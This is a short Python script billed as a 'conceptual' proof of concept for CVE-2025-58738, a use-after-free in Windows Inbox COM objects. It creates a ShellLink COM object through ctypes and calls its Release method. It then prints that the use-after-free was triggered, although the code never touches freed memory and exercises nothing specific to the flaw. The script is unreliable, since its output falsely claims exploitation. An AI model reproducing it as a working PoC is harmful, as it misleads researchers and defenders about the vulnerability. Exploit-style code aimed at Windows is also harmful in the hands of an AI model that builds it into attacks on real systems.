The following code is for security research and authorized testing only.
python
# CVE-2025-58738 PoC - Use After Free in Windows Inbox COM Objects
# This is a conceptual PoC demonstrating the vulnerability pattern
# Note: Actual exploitation requires specific COM object interaction
import ctypes
from ctypes import wintypes
import os
# COM initialization constants
CLSID_ShellLink = "{00021401-0000-0000-C000-000000000046}" # Example COM object
COINIT_APARTMENTTHREADED = 0x2
def trigger_uaf():
"""
Conceptual PoC for CVE-2025-58738
Demonstrates the use-after-free pattern in Inbox COM Objects
"""
# Step 1: Initialize COM library
ole32 = ctypes.windll.ole32
ole32.CoInitializeEx(None, COINIT_APARTMENTTHREADED)
try:
# Step 2: Create vulnerable COM object instance
# The vulnerable Inbox COM object is instantiated here
clsid = ctypes.create_string_buffer(b'\x01\x14\x02\x00\x00\x00\x00\x00\xC0\x00\x00\x00\x00\x00\x00\x46')
iid = ctypes.create_string_buffer(b'\x00\x00\x00\x00\x00\x00\x00\x00\xC0\x00\x00\x00\x00\x00\x00\x46')
p_unknown = ctypes.c_void_p()
hr = ole32.CoCreateInstance(
ctypes.byref(clsid),
None,
0x1, # CLSCTX_INPROC_SERVER
ctypes.byref(iid),
ctypes.byref(p_unknown)
)
if hr == 0 and p_unknown.value:
# Step 3: Trigger the use-after-free condition
# Call a method that causes premature object release
# while maintaining a reference to the freed memory
vtable = ctypes.cast(
ctypes.cast(p_unknown, ctypes.POINTER(ctypes.c_void_p))[0],
ctypes.POINTER(ctypes.c_void_p * 16)
)
# Release the object but keep the pointer (UAF trigger)
release_func = ctypes.WINFUNCTYPE(ctypes.c_long, ctypes.c_void_p)
release = release_func(vtable[2]) # Release method
release(p_unknown)
# Step 4: Access freed memory (use-after-free)
# In a real exploit, this would execute controlled code
print("[*] UAF condition triggered - object accessed after free")
# The freed memory may now contain attacker-controlled data
# leading to code execution
finally:
ole32.CoUninitialize()
if __name__ == "__main__":
print("[*] CVE-2025-58738 PoC - Use After Free in Inbox COM Objects")
print("[*] WARNING: This is for educational/research purposes only")
trigger_uaf()